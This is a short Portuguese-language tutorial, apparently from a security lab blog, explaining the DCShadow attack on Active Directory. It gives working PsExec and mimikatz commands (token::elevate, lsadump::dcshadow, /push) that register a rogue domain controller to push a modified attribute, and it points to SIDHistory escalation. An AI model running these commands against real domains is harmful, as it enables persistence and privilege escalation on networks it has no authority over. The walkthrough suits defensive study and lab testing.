DCShadow é um dos últimos estágios no Cyber Kill Chain permitindo que um invasor com credenciais privilegiadas comprometidas registre um controlador de domínio (DC) não autorizado. Em seguida, o atacante pode enviar quaisquer alterações que desejar por meio de replicação, incluindo alterações que concedam direitos elevados e criem persistência.
O DCShadow é semelhante ao DCSync, pois aproveita as funções válidas e necessárias do processo de replicação do Active Directory — que não pode ser desligada ou desabilitada.
DCShadow foi apresentado na conferência Bluehat IL 2018 por Vincent LE TOUX e Benjamin Delpy.
Anatomia do ataque
Ferramentas necessárias:
- PSExec – https://download.sysinternals.com/files/PSTools.zip
- Mimikatz – https://github.com/gentilkiwi/mimikatz/releases
O cenário ideal desse ataque é fazer o uso de credenciais já comprometidas e então elevar privilégio, pois o DCShadow permite replicar mudanças em contas usando um controlador de domínio falso (DCshadow) para a base do domínio real.
Vamos ter duas janelas abertas, uma como “system” que irá definir o atributo e outra como “Domain Admin” que irá replicar com o Active Directory.
Primeiro janela: executar um prompt de comando como sistema:
PsExec.exe -i -s cmd
Execute o mimikatz e valide se o token no qual está executando é o de NT AUTHORITY\SYSTEM usando o comando:
token::whoami
Se necessário elevar use o comando:
token::elevate
Em seguida defina o objeto que irá manipular. Como exemplo super simples, podemos modificar o atributo de descrição. Em ataques mais elaborado a ideia é usar um SIDHistory e então escalar privilégio, como neste artigo.
lsadump::dcshadow /object:cn="Daniel Donda",ou=ITSecUsers,DC=itsec,DC=lab /attribute:description /value:"Objeto modificado pelo ataque DCShadow"
Segunda janela: Executar o mimikatz com uma conta de “Domain Admins” e iniciar a sincronização.
lsadump::dcshadow /push
Como resultado os objetos foram alterados no Active Directory
Referências
Seja o primeiro a comentar